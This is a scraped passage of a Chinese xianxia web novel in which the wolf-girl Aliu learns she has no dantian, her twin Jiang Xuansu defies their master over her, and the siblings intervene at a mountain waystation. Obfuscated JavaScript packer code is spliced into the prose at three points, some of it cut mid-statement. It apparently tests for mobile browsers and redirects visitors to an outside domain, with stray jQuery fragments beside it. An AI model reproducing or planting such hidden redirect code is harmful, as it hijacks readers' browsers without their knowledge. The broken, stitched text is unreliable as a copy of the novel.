阿柳挣扎着把头探出去,张口就咬近在咫尺的手。 棉被立刻往上拽,重新裹住她的头。 她整个身子包裹其中,被捆得动弹不得。 江玄肃双手撑在阿柳身体两侧,隔着一层棉被将她压住,任凭她在其中踢打,也狠心地绝不松手。 油灯早就在追逐中熄灭,黄昏的天光透进窗户,被滤得更稀薄。 阿柳什么都看不清了。 眼前一片黑暗,被子里空气浑浊,耳边只剩自己的呼吸声,心跳得飞快,一阵恶心的眩晕涌上来,终于浇灭燃烧的杀意。 她又想起六年前弄丢金环后挨的那顿毒打。 也是这样被捆得动弹不得,铁棒抡得呼啸作响,她的骨头,她的五脏六腑,都快要被打碎。 这么些年,每当她回想那时的痛苦,仍会不由自主地颤抖。 一切靠近江玄肃的想法顷刻间消失,只剩下本能催促她逃离。 阿柳在黑暗中蜷成一团,两手抱住脑袋。 她勾着头,把脸深深埋进两臂和膝盖之间的空隙里。 很黑,很闷,很难受。 她舍弃一块点心换来的舔舐,最后竟为她招致这样不留情的束缚,唤醒她最恐惧的记忆。 明明没有挨打,心里却比那时还要痛。 阿柳在黑暗中咬牙,从喉咙里挤出凄厉的呜咽。 她不喜欢江玄肃了。 她讨厌他。 - 江玄肃定定望着地板的缝隙,不去看身下。 隔着棉被,阿柳终于不再挣扎,他的手松开一些,让空气能进出被褥。 说点什么。 耐心地劝导也好,郑重地教育也好。 告诉她,你这么做是为了制止她破坏房间,不让她闹出动静招来师傅,师傅一旦出手惩罚,只会更严厉。 而不是像现在这样,任何义正辞严的话都说不出。 ……毕竟,比起指责她,他更应该指责自己。 就在刚才,阿柳舌尖探入的一瞬,一股可怕又极具诱惑力的失控感席卷他的全身。 他几乎就要张嘴迎合上去。 去迎接他最渴望却始终缺少的东西。 密不可分的接触。 每一寸肌肤紧紧相贴,每一处器官血水交融,用这样的方式确认自己在对方心中独一无二,不可缺失。 彼此拥有,彼此依偎,走到哪里都互相陪伴,无论什么都不能将两人分开。 只有孕育在母体中的双生子才拥有这样的时刻。 ……可是,双生子不会在长大后还玩嘴对嘴的游戏。 江玄肃恍惚地垂眼。 身下的被子拱起一团,阿柳看上去终于平静了。 旁人若是知道刚才发生的事,只怕又要骂她是不通人伦的畜生。 此念一出,江玄肃背上竟浮起一层冷汗。 错了。 阿柳不是畜生。 不知者无罪,知道什么不能做还放任自流,才应该被骂畜生。 他才是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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面对如此异象,阿柳竟一声不吭地把头转开了,甚至放下帏帽的素纱。 邵忆文心里纳罕,收回视线。 怪事。 宗门林立的钟山,灵息丰沛的钟山,千年来奇异传说层出不穷的钟山。 阿柳不可能对它没兴趣。 昨天上路时,大家说起宗门里的种种见闻,阿柳哪怕不看他们,也会停下手中的事竖起耳朵偷听。 结果一夜过去,她就变成现在这副模样。 格外安分,安分得反常。 邵忆文只知道江玄肃曾去房间里教育过她一通,却不知道两人说了什么。 难道他们吵架了? 手足之间,拌嘴赌气倒是正常,邵忆文惊奇小师兄居然也会和人吵架,却没再多想,摇摇头打马赶路。 就在这时,突然听到身后的阿柳问她。 “进山以后,就能找到我的丹田了?” 邵忆文一怔,随后才理解她的意思:“没错,师傅说进钟山后帮你检测丹田。” 阿柳又不说话了。 她微微侧身,看向远方道路尽头的灯火,又转回头,瞥一眼后侧江玄肃的马。 今天一天,她和江玄肃都好好地戴着帏帽。 两层素纱相隔,从早到晚,两人一次都没有对上视线。 也因此,江玄肃没看见她眼中蓄谋的狠戾。 宗门里的规矩,司剑的职责,种种叮嘱,她本就记不住,现在更是全忘了。 只有一个目标,在她心里越来越清晰。 哼,不就是丹田吗? 等她找到她的丹田,掌握那些奇怪的步法,有了足够的力气…… 昨晚受的委屈,她一定要加倍奉还。 13. 13 梁继寒的拇指上,一枚青色的灵玉扳指正散发着微光,淡蓝的雾气顺着扳指缓缓飘动,环绕阿柳的手腕。 阿柳老老实实坐着抬手,像在接受梁继寒把脉。 这是她第二次感受到旁人炼化的灵息。 她抽了抽鼻子。 灵玉与灵息之间,甚至不同的人炼化的灵息之间,气味都有着微妙的不同。 灵玉散发的香气最浓郁纯粹,是阿柳最想吃的东西,却会给她带来最强烈的痛苦。 而经过旁人丹田炼化的灵息,气味则要浅淡许多,也不会让她感到疼痛,只会让她身上发冷或者发热。 她原以为梁继寒会在检测时做手脚,让她吃一点苦头。 毕竟,她早就发现梁继寒对自己的态度有异了。 梁继寒总是嘴巴笑却眼睛不笑,自从他确认了阿柳的胎记不假,每当她做出有悖礼法的举动,尤其是贴近江玄肃时,梁继寒都会这样笑。 就像打雷前会亮起闪电,照彻黑暗的光芒之后,往往跟着撼天动地的雷声。 一路上阿柳只见过闪电,还没听见雷声,因此越发忌惮梁继寒笑容背后暗藏的想法。 没想到,梁继寒这次只在她经脉里注入了一缕单薄的灵息。 寒意像一粒冰碴做的小船,在她的体内漂荡,哪里都不停留,也没有带来更多疼痛。 阿柳闭着眼睛感受,几乎要笑出来。 她的身体里,每一个角落都敞开大门欢迎灵息的到来,没有任何滞涩感。 如此畅行无阻,莫非她是修道的天才? 正兴奋地想着,耳边忽然响起梁继寒笃定的声音。 “你没有丹田。” 阿柳错愕睁眼。 梁继寒收手,扳指的光芒淡去,萦绕在他手上的蓝色雾气随之消散。 他若有所思地注视自己的扳指,却并不怀疑这个结果。 一旁,江玄肃和邵家姐弟因为这句话面面相觑。 整个房间陷入死寂。 驿站外有人在练习吹笛,技艺并不娴熟,一时间,耳边只剩断断续续的凄厉笛声在响,惹人心烦。 “你放屁!你是个骗子!” 阿柳噌地站起来,眉毛困惑而气愤地纠缠在一起。 她那么敏捷,身手那么好,在山上时攀越木石,下山后穿梭人群,谁都抓不住她。 她那么努力地吃饭,用力地生长,磨砺牙齿,锻炼体格,就是为了变强,不再挨打,不再饿肚子,好好地活着。 现在她放弃了好不容易习惯的杂耍班子,骑马骑得快要作呕,总算经过钟山的界碑,要去传闻中的烛南宗,在里面打出一番天地。 结果眼前这个人告诉她,她连变强的资格都没有。 凭什么?! 江玄肃眼疾手快,扶住险些被她打翻的茶杯:“阿柳!” 对师长口出污秽,是大忌,他本该更严厉地呵斥妹妹。 可这一次,在他心里最隐秘的深处,竟然也希望阿柳才是占理的一方。 江玄肃没能说出第二句斥责。 他抬头看去,恰好阿柳也望了过来,房间里不必戴帏帽,两人今天第一次对上视线。 四目相对,阿柳眨眨眼,睫毛像蝶翅扇了一下,随后,她飞快地转开头。 江玄肃却被她那一眼钉死在座位上,错愕之下,动弹不得。 阿柳什么都没对他说,可眼神已经说尽所有。 那不是妹妹看哥哥的眼神。 甚至不是看同伴的眼神。 而像狼在看鬣狗。 厌恶的对象、竞争者、仇敌,任何令她不再亲近、避之不及的东西。 明明昨晚她还亮着眼睛把手按在他胸膛上,仰头靠近他,用她最柔软的舌头触碰他最坚硬的牙,用这种方式交付她最大的信任。 一夜过去,他所有的努力付诸东流,阿柳重新变回那个以忌惮目光瞪视他的狼女。 甚至比那时,还要憎恨他。 而这一切是他亲手所为。 是他推开了妹妹,是他用被褥束缚她,制止她发脾气。 江玄肃垂下眼睛,一阵恍惚。 他错了吗?不,他没有错。他不能放任她做罔顾人伦的事。 ……可他心里为什么会如此苦涩? 邵知武还在奇怪阿柳没有丹田,嘴快问道:“师傅,我和姐姐十四岁才被鉴灵司测出丹田,在那之前,我们也以为自己无缘钟山。说不定阿柳只是丹田开得晚呢?要不然,她该怎么执掌双生剑?这说不通啊!” 哪有当面对师傅拆台的? 邵忆文在桌子下踢了弟弟一脚,却也忍不住看梁继寒。 阿柳抓住话头,逼视梁继寒:“我要用他们的方法测。” 遭到如此无礼的质疑,梁继寒却不以为意。 “丹田是灵息催发与涌出的地方,哪怕是暂时未开的丹田,感受到外界的灵息入体,也会产生反应。越强大的丹田,反应也越激烈,武修之间的对抗,到最后就是比谁的丹田更强,催发的灵息更汹涌。功力深厚的武修,能用自己炼化的灵息作武器,直接注入敌人体内,将其丹田乃至全身引爆,其原理就在于此。” 前面这些,阿柳听得如坠云雾,只能从周围人的表情看出梁继寒没有撒谎。 直到他望着阿柳,宛如判官掷出一枚斩立决的牌子,下最后定论。 “你的腹腔内平静无波,外人的灵息经过时,没有任何阻塞。哪怕回到宗门里,换一个人替你检测,甚至让掌门亲自上阵,也是这个结果——你没有丹田。” 身为烛南宗长老,梁继寒一旦肃穆,说话时便有了一股不怒自威的气势。 可阿柳仍直挺挺站着,迎着他的目光,不躲避,也不服软,还是那句话:“我不信你,我要用他们的法子再测一次。” 梁继寒摇头:“以灵息检测,是最轻松、最准确的法子。鉴灵司的手段,不过是模拟灵息在人的经脉里流动,他们会给人灌入特殊的药汤,再以特制的玉针刺进腹腔,检测药性流经丹田时是否有变化。此法痛苦,你若不信,可以问他们。” 听到要挨针刺,阿柳缩了缩脖子,见邵家姐弟听到此法后,一副心有余悸之色,知道梁继寒的话不假。 她想了想,还是狠下心:“那我也要测。” 邵忆文摸了摸她的手臂,劝解:“从来都只有鉴灵司失误,而没有灵息测试错判。每一年都有被登记在册的凡人来到钟山,经过灵息的二次检验,发现是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们只认丹田,而她没有那东西。 阿柳原本还想说很多,说她幼时曾吞下过那么多小石子,那东西被他们称作灵玉,为此她忍受了多少疼痛与灼烧之苦,或者说她进入钟山后觉得身体越发轻盈,比六年前身法更迅捷,因此她自信她会越来越强。 但她连插话的机会都没有。 他们多么能言善辩,她却是才学了六年人语的狼女,甚至做不到用言语准确传达心意。 阿柳最后才去看江玄肃。 从刚才起,他就一直没有说话,而是定定地望着她。 身旁是他认识已久的同门,和对他恩重如山的师傅,之前他就把梁继寒那些大道理奉为圭臬,想必这次他也不会忤逆师长。 更何况,她昨晚刚和他打了一架,今天一路上都在谋划如何报复回去。 她没有丹田,他肯定高兴坏了,以后在她面前,他想怎么耍哥哥的威风就怎么耍。 江玄肃对上阿柳平静的目光。 不同于之前吃下玉兰花之后,她眼底有闪烁而过的委屈,希望他能为她说话。 这次,他无法分辨出她眼中的情绪。 不知她是藏得更好了,还是根本不再对他抱有期待。 如果是后者…… 被她那样望着,江玄肃心里像踏空了一脚,忍不住站起身。 他刚张嘴,阿柳已旋身冲向窗边。 她最不想听到的,就是他的话! “阿柳!” 江玄肃喊出口,她却置若罔闻,“砰”的一声响,夜风吹进来,阿柳已翻出窗外不见人影。 14. 14 房间位于驿站二楼,旁边就是陡峭山壁,一旦翻上山,想把阿柳找回来可不容易。 邵忆文起身就要追。 梁继寒忽然抬手。 指尖腾起淡蓝色的雾,将撞开的窗户扶稳关好,也将奔到窗边的江玄肃拦下。 邵忆文脸色一变:“师傅,钟山外沿有叛道者流窜,不能放任阿柳乱跑。” 叛道者,是指各大宗门里犯下死罪后畏罪潜逃的修士。 他们不被钟山接纳,去到凡界后失去灵息,更要遭受凡人与修道者们的共同追缉。 钟山辽阔,边缘地带灵玉矿稀少,人迹罕至,叛道者们离开宗门后,便在这一带游荡,苟且偷生于深山老林之中。 失去稳定的灵玉供应,他们连水平中庸的武修都打不过,可阿柳丹田未开,哪怕身手灵活,一旦遭遇攻击,也是凶多吉少。 三个年轻人都着急阿柳的去向,唯有梁继寒安坐着,朝头顶上指了指。 屋内一静。 江玄肃靠在窗边,离外面最近,顺着师傅的手势抬头,屏息凝神细听。 在屋外断断续续的笛声中,有一个急促的呼吸声被小心地压抑着,从二楼的房檐上传来。 是阿柳在偷听。 邵忆文和邵知武松了口气,终于坐下。 江玄肃却仍站在窗边不动,甚至没有回头。 上一次听她这样一抽一抽地吸气,是她涂上褪形露后在忍痛。 十六岁,是允许受伤后哭泣的年纪。 可阿柳不会哭,像他一样。 她是没学会,他是戒掉了。 旁人都夸他少年持重,说他心性坚毅。 只有他自己知道忍哭不比忍痛轻松。 流不出来的东西,只会在体内灼烧,等烧尽了,就只剩一具空壳。 江玄肃又想起昨晚了,想起那双靠近他时灵动闪烁的眼睛。 ……他不要他的妹妹变成空壳。 一旁,梁继寒已经开始教导邵家姐弟。 “小武,你用你们十四岁开丹田举例,可你应当明白,这个年纪起步,在修士里算是极晚的了。这几年你们勤加修炼,是为了补拙,其中艰辛你们自己清楚。不是谁都能忍受这份苦楚和委屈。 还有小文,你在藏书阁里熟读过史册,千年来最晚开丹田的人,也不过十六岁。假如阿柳和阿照同岁,如今已快满十七了。即便能开丹田,起步太晚,也难成大器。她性格要强,何必拿这种话给她一个念想,徒劳惹她伤心?” ……可是您也把这种话说出来了,明明知道她就在外面偷听。 江玄肃撑着窗沿的手陡然握紧。 假如…… 连师傅都在说“假如他们同岁”,师傅不信阿柳是他的胞妹。 就因为她和他性格迥异,天资有别? “阿柳能成大器。” 这句话说得太突然,声音也不大,室内静了半晌,众人才意识到是说话的是背对他们站在窗边的江玄肃。 他说完,转过身,迎着师友或惊讶或质疑的目光,又说了一次,这次语气更加笃定。 “阿柳能成大器。我四岁开丹田,烛南宗上下没有人比我开得早,为什么她不能十七岁开丹田,突破千年来开丹田者的另一项记录?她很聪明,也很好学,就在昨天,我给她展示过内门步法,她看一遍就能学会。宗门里有的晚辈仗着父母身居要职,自己游手好闲,不思进取,我不信阿柳比他们还逊色。她还不到十七岁,我和她还有一生的时间,我能教会她,哪怕大器晚成,我也信她能成!” 从未见小师兄这样情绪剧烈地驳斥旁人。 他还是站得那么直,仿佛那把无形的剑时时刻刻抻着他的脊骨。 而此刻,这把剑抽出来了,指向的人,竟是师傅。 邵家姐弟讶然噤声,一时竟不敢上去阻拦。 “阿照。” 梁继寒无喜无怒地喊他。 江玄肃看出他不信,攥紧拳不愿低头,像刚才的阿柳那样,对抗着他的逼视。 “江玄肃!” 梁继寒厉声喊他大名。 江玄肃仍不动。 屋子里,三双眼睛都在望向他,往日的认可与亲近,此刻都化作不解与质疑。 他心里却在想阿柳。 这样令人心痛的目光,她曾忍受过多少次? 即便如此,她还是为了坚持自己的想法,一次次毅然站在所有人的对立面。 这样的她,有着多么令人敬佩的勇气。 狭小的房间里,森然的寒气霎时展开,化作实质的寒芒擦过江玄肃的颈侧。 一道血痕随之而生,他却不屑抬手抹去。 梁继寒起身抬掌,灵息释放带来的威压过重,邵家姐弟早已支撑不住退出房间。 江玄肃还站着硬撑。 “双生剑复苏,意味着什么,你不明白?你就这么笃信你们能安安稳稳地度过一生?得了一个妹妹,就把师傅教你的东西全都忘了,让你戒骄戒躁,让你尊敬师长,你做到了哪一条?” 江玄肃定定回望他:“我是她兄长。您教我尊老爱幼,爱惜幼妹,徒儿不觉得有错。” 梁继寒背着手,目光冷冽地盯了他许久,胸膛缓缓起伏着,一口一口地吸气吐气。 清俊的容颜,高洁的品性,卓绝的修为。 这是他一刀一刀打磨出来的美玉,身为师长,用半生心血栽培门生,为的就是看他成材后的自豪欣慰。 如今那美玉却有了裂隙。 梁继寒已经许久没有这样蹙眉了,眼中竟有哀伤。 “双生子几乎诞生于同时,谁长谁幼,不过是一句话的事。阿照,你本不必将一切扛在自己肩上。她于你而言,只是有一个妹妹的身份,手足之情需要时间培养,你不该将她看得这样重。” 江玄肃也同样认真地注视师傅。 十年过去,他变老了些,修士有灵息维系,本不易老,除非心老了。 这十年,师傅又经历了什么呢? 为何如今他开始看不懂梁继寒了。 当师傅教导他修炼与挥剑,是为了保护在意的东西,在意的人。 而他想要的,不过是有人能一辈子陪他看白玉峰上的玉兰树开花。 现在那个人出现了,为什么师傅要阻止他回护她? 梁继寒收手,铺天盖地的灵息威压终于散去,离开前,听到他摇头警告:“你执念太深,必将遭到反噬。” 江玄肃却对着师傅的背影笑起来:“我甘之如饴。” - 阿柳翻上房顶,跃上山石,越攀越高。 山谷两侧,悬崖陡峭,朝着中间的谷地倾斜。 周围的乱石嶙峋凸起,夹缝里,草木艰难地钻出。 直到驿站的灯火被甩在身下,回身时只能看见屋顶上一排排的瓦片,阿柳终于停下。 她找了个岩壁上的凹坑坐下,脚踩着延伸而出的一截枯木,拍了拍手掌蹭到的灰。 从这个方向看去,峡谷对面的另一侧山壁尽收眼底。 上面是一副巨大的、用矿石颜料绘制的壁画,即便阿柳爬得这么高了,也不过是与画中人的眼睛齐平。 黑夜中,矿石散发着淡淡的光芒,颜色绚烂,青红辉映。 左上方画的是两位持剑的女子,右下方则是一只巨兽的背影,正对着她们亮出爪牙。 无需辨认文字,阿柳仅凭图画就能看懂它讲了什么。 千年前,一对孪生姐妹进入钟山,拿到神剑,屠戮恶兽,拯救苍生。 阿柳进入杂耍班子时,排的第一出剧目就是这个故事,《双生剑出世》。 今天来到峡谷后,比起这副壁画,她最先注意到的却是入口中央巨石雕刻的界碑,和耸立其上的石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316097|183004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌楼。 它们实在太高了,连旁边的驿站都没有它们高。 下马之后,她用力地仰头,连嘴巴都合不上了,才终于看清它们的全貌。 邵忆文告诉她,上面写着“钟山南谷”,越过石牌楼,就算进入了钟山。 阿柳在凡界见过类似的建筑,却远不如它们宏伟。 要有多么深厚的功力,才能劈开山壁,采掘出这么大的石头,再在上面雕刻出繁复精细的花纹和文字? 没有灵玉和灵息,凡人办不到。 钟山里的修士们,就这样把两件极尽工匠灵息之巧的奇物放在入口,彰示钟山的神秘与巍峨。 夜色已深,即便从高处看去,那界碑和石牌楼仍引人注目地立在峡谷入口。 连手脚攀爬的落点都没有,要怎么爬上去?当初修这东西时也不知有没有人摔伤。 阿柳不解地想着,揪了一把石壁上的草,捡出根漂亮的叼在嘴里,微酸的汁液在舌根迸发而出,她眯了眯眼睛。 比起头发,还是用它磨牙舒服。 ……六年不见,换了个入口,庞大的钟山陡然变得陌生,也只有这些零碎的小东西能让她感到熟悉了。 下方,笛声还在幽幽响着,阿柳终于忍不住去看那站在驿站外吹笛的修士。 是个和她差不多年纪的男子,修为不高,在驿站里做些打杂的活。 进驿站的时候阿柳曾和他打过照面,那时她还戴着帏帽。 之前急着检测丹田,没有仔细观察驿站,如今总算有功夫回想其中的景象。 阿柳记得,驿站的门楣、墙壁、窗棱的雕花上,甚至房间的床褥中,处处都有双剑一正一倒交错组成的图腾。 也还是邵忆文对她介绍,说这是烛南宗的门徽。 门徽是什么,阿柳还没研究明白,又听驿站里的人说一个月后是谷雨节,驿站上下正在为了庆祝节日做准备。 阿柳一路上都在听邵忆文说话,本想抢答自己知道谷雨是什么,是凡界也有的节气,却见邵忆文对她露出“就知道你会猜错”的笑容。 她说,凡界的谷雨,不过是一个普通的节气。 然而,在钟山里,每隔一百二十年,双生剑沉睡所在的剑谷就会发生异动,在感知到司剑的灵息后,它将久违地开启。 到那时,绵延千里的钟山都将为之下雨。 雨水由剑谷而生,为神剑而落,得名谷雨。 为了庆祝双生剑的苏醒,修士们将这一日定为谷雨节。 上古神剑,一旦出世便能驱除恶兽,扫荡邪魅,带来天下安定。 即便在它沉睡的年岁里,修士们仍年复一年地为它庆祝,歌颂它庇佑了苍生,用它提醒修道者勤勉精进,不忘本心。 而司剑,是被双生剑选中,能够操纵它的人。 阿柳对着灿烂的壁画发呆,目光扫过画中姐妹手中的长剑。 那就是选中她的东西,是它的召唤,让她从千里之外来到此处。 直到如今,她才渐渐对“司剑”一职的重量有了实感。 ……在她得知“她没有丹田”的这一天。 漆黑的夜色下,阿柳整个人蜷缩进山壁凹洞中。 她嚼着早就没味道的草,抬手朝着对面比划。 如果把她填进那幅画中,或许仅能占住一只眼珠的位置。 幼时在钟山间游荡奔跑时,她从未有过这种错位感。 山就该耸立得那么高,花草就该低垂得那么矮,鱼就该在水里游,鸟就该在高处飞。 小小的阿柳在里面来去自由,从不觉得自己有这么小。 如今的画上,那两个人却好高好高,怒视恶兽的表情,她从未在任何一个活人身上见过。 有朝一日,她也会露出这副表情吗? 阿柳把嘴里的草吐掉,模仿她们的样子皱眉瞪眼,自觉无趣,揉了揉脸。 15. 15 阿柳往山壁下方扫了一眼,目光忽然顿住。 驿站的房顶上,亮着一道熟悉的幽绿光芒。 光芒很柔和,不至于照亮夜色被驿站的人察觉,然而从她的方位看去,却格外清晰。 仿佛它是专门为她而亮的。 阿柳定睛细看。 黑瓦铺就的屋顶上,一袭白衣的江玄肃很好辨认,光芒来自他的护腕。 他也正在仰头看阿柳,两人目光对上,他对她做口型,无声说“下来”。 又在指挥她做事。 阿柳眼睛一翻,脚往山石上一架,移开视线看驿站外那修士吹笛。 心里不屑地想,果然,正人君子不适合做半夜翻上房顶的事。 瞧他那副呆站不动的样子,连踩屋脊都不知道,万一踢中瓦片被人抓包,他那师傅只怕又要气歪鼻子。 听了许久吹笛,却一个调都没听进去,不久前的那场争执在阿柳耳边阴魂不散地响。 “阿柳能成大器。” “一生的时间。” “爱惜幼妹。” “甘之如饴。” 文绉绉的词,她听得半懂不懂,可恨她还是理解了其中含义。 导致她对江玄肃的评价,如今也变得又好又坏。 江玄肃就像昨晚旅店里裹紧她的那床被子。 寒冷的天气里,温暖的被窝让人安睡。 可一旦被褥密不透风地包住她、缠绕她、限制她……那些给予她暖意的布料与棉花,同样也能让她窒息。 阿柳想扯烂这床被子,可她至今没有足够的力气。况且,失去它以后,她又要在睡觉时受冻了。 峡谷中,夜声呼啸,笛声呜咽,一声叹息在其中转瞬即逝。 阿柳垂眼看驿站外。 除了那练习吹笛的修士,还有一人正在驿站后方的僻静处做工,布置庆祝谷雨节的装饰。 三层楼高的粗木桩,足有千斤重,凡人无法以一己之力撼动,却见那女子腕上的灵玉手镯闪着光,黯淡的灵息灰雾环绕周围,帮助她一点点将它扶起。 刚立稳木桩,难听的笛声忽然断了,没过多久,那吹笛的男修士绕到楼宇后面,开始和女修士说话。 夜色渐深,驿站外只剩这对年轻男女。 他们不知道房顶和山壁上还有两个人在旁观,说着说着便凑到一起,你摸摸我的脸,我摸摸你的头发。 阿柳来兴趣了,托着下巴看仔细观摩。 紧接着,那烦人的幽光又在屋顶上闪了闪。 斜眼看去,江玄肃抱胸踩在屋脊上,正面色窘迫地望着她,仰头不看那对越贴越紧密的男女。 烛南宗有门规,哪怕是道侣,也应当在私密的地方温存。这二人席地幕天,实在有损仪容,礼数尽失。 还当着他妹妹的面! 阿柳才来人间六年,本就身带陋习,可不能再学坏了。 江玄肃自己不看,也不想让阿柳看,二人对上视线,他又朝她做口型“别看”。 阿柳根本不搭理,扯了根新的草叼上。 之前她亲近他时,他脸上就是这副表情,如今别人亲热,他又替他们为难了。 如何?他有本事推开她,用被子把她绑起来,他有本事跳下去打断那对男女吗? 阿柳不再管江玄肃,聚精会神看那女子搂着男子的脖子啃,啃着啃着,男子抱住女子,靠在装饰用的红木桩上。 木桩尚未安装牢固,被两人的重量抵着,渐渐不稳,有朝着驿站倾斜之势。 阿柳一怔,在狭小的凹洞里坐直了。 江玄肃在屋顶上仰头瞪了她半天,忽见她脸色有异,一番权衡,终于下定决心,红着耳根转身看去。 夜晚的峡谷,山风阵阵,吹动之下,木桩彻底失衡。 只见那对男女终于察觉异常,想要合力控制粗木桩,却因为用力过头,反倒让木桩朝着自己的方向倾轧而过来。 阿柳毫无波澜地坐回去,靠着山壁换了个姿势,准备看另一出好戏。 千斤重的粗木桩,倾倒时声势逼人,这两个修士功力不高,虽不至于被压死,撞个残废却不成问题。 也不知他们谁会是那个倒霉鬼。 电光火石间,却见那吹笛的文弱修士把伴侣朝远处一推,自己落在后面。 阿柳目光一顿。 山下,驿站外。 预想中的疼痛与撞击没有到来,那对修士惊魂未定跑远,甚至没听见木桩落地的轰响。 二人战战兢兢回头,只见一个穿白衣的身影不知何时出现在那里,单手撑着木桩,护腕上的灵玉光芒大作。 江玄肃神情如常,举千斤如拈鹅毛,白色的雾气在手腕间流淌而出,将木桩稳稳放平在地。 随后,他面无表情地看向二人,目光落在男修士扯开的外襟上:“没伤着吧?” 男修士慌张地系扣子,又羞又窘,可当他看清江玄肃的脸时,却什么都顾不上了:“你是江、江……” 女修士目光落在江玄肃颈侧的烛焰胎记上,也是一惊:“江司剑?” 江玄肃原本不欲和他们多说,听见这个称呼,却站住脚步:“司剑的事,二位从哪里听说的?” 此事绝密,才过去几日,宗门里竟然已经走漏了消息? 两人已经双眼放光地围上来了,却又不敢靠得太近,脸上敬畏与仰慕尽显。 男修士心情激动之下,顾不得回答,反倒开始自说自话。 “原本要称您一声江前辈,如今双生剑出世,该叫您江司剑了。多谢江司剑出手相助!久闻司剑大名,每年宗门大比都看您夺得魁首,我家长辈常常念叨,说我要是有您十分之一的功力,也不至于在这里打杂。没想到今天竟有幸……” 男修士越说越跑偏,被理智尚存的女修士一拽。 女修士回答江玄肃的问题,眼睛却看画似的望着他,目光频频掠过他颈侧,见那胎记之下还有一道血痕,也不知是怎样的险境,竟能让这位烛南宗的天骄受伤。 “司剑的事,是从昨日经过驿站的前辈口中得知的,我们二人在驿站做工,无意间听到他们议论。说双生剑出世,司剑是身带烛焰者。整个钟山,谁不知道身带烛焰的人是您?” 江玄肃忽略她的奉承,又问:“可还记得那前辈的姓名样貌?” 两人对望,都摇摇头:“那两人像您一样,进门时戴着帏帽,又对我们出示了内门的玉牌,我们便没有多问。” 江玄肃脸色平静,心里却生出疑窦。 内门修士执行密令时,常常遮掩面目往来驿站,本不稀奇。 但整个烛南宗有关司剑的密令只有一则,知晓此事的人无不位高权重,不会轻易外泄机密。 那些人又是从哪里知道的消息? 江玄肃记下这件事,不欲多留:“天色已晚,你们也快些回去。刚才的一切,我明日会告知驿站管事。” 此言一出,犹如一盆冷水当头浇下,两个修士顿时傻眼。 擅离职守,趁夜在外面行苟合之事,还弄倒木桩酿成大祸,无论哪一条拎出去都要挨罚。 传闻江玄肃师承梁继寒长老,为人谦和有礼,怎会如此冷厉,不知通融? 二人连忙求情,江玄肃微笑不语,一副不可动摇之态。 听了半晌,他忍不住侧身去看顶上的山壁。 也该让阿柳知道,在宗门里举止失当,要付出什么样的代价。 这还只是在外门,等进入内门,万一她学了这两人的样子作乱,只会罚得更重。 目光扫去,却是一顿。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320082|183004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 山壁的凹处,已经空无一人。 紧接着,三人同时听到身后房檐上传来哗啦响动,一起回头。 空中闪过一道彩影,挂在屋檐上装饰用的彩灯笼竟脱了钩,朝着几人坠落下来。 随后,一个黑影踩着二楼的栏杆跃出,将那灯笼抱住,轻盈地滚落在地。 “没伤着吧?” 阿柳一手抱着灯笼,一手故作夸张地擦汗,却故意扯了扯领口,引着人去看她的颈侧胎记。 果然,那对男女睁大眼睛。 女修士看看江玄肃,又看看她:“你,你是……” 阿柳学江玄肃的样子微笑颔首,却因不习惯这么假模假样的笑容,反倒显出狰狞之色。 “我是柳司剑。” 男女修士见她不怀好意地提起嘴角,一双眼睛黑白森然,顿时如在夜晚见了野兽,齐齐往后缩。 江玄肃早已走到阿柳身边,捏了捏眉心,压低声音提醒:“你姓江,不姓柳。” 阿柳懒得听江玄肃放屁,进入凡界后就没人用第二个名字叫过她,不叫阿柳,叫阿江么,难听! 她闹这一出,也不是为了江玄肃,因此根本不搭理他,仍对那男女修士假笑:“为什么不谢我,我救了你们。” 男女修士迟疑地对视,男修士一噎:“这纸糊灯笼……” 竹架和彩纸糊的灯笼,没几两重,就算掉下来也砸不痛人。 这言行古怪的姑娘在玩什么花样? 女修士没急着说话,左右看看眼前两人,胎记竟是一模一样,心里讶异:“你的胎记是真的?” 阿柳不笑了:“药水验过,还有假的?” 等了片刻,见二人仍将信将疑地打量她颈侧,忍不住又问:“都是救人,凭什么只谢他,不谢我?” 女修士望着她怀中灯笼,上面挂钩完整,不见锈迹,除非人为取下,否则轻易不会松脱。 ……什么救人,分明是这姑娘在自导自演。 江玄肃哪里看不懂他们的眼神,硬着头皮阻止阿柳继续丢人:“阿柳,走了。” 阿柳置若罔闻,留一个后脑勺给江玄肃看。 男女修士大眼瞪小眼,不知道江司剑和这位突然冒出来的……柳司剑在唱哪出戏。 江玄肃见阿柳纹丝不动,轻叹一声:“你们先走吧。” 男修士眼珠转了转,去看阿柳的灯笼:“那今晚的事……” 他们犯错,江司剑要禀告他们的上司,这柳司剑拆了灯笼,他可要包庇? 话没说完,对上江玄肃平静却深如潭渊的眼睛。 “犯了错,自当受罚,谁都不可免。你们犯错是明知故犯,她犯错……是我对胞妹管教不力,明日一早,我会去找我的师傅领罚。” 胞妹? 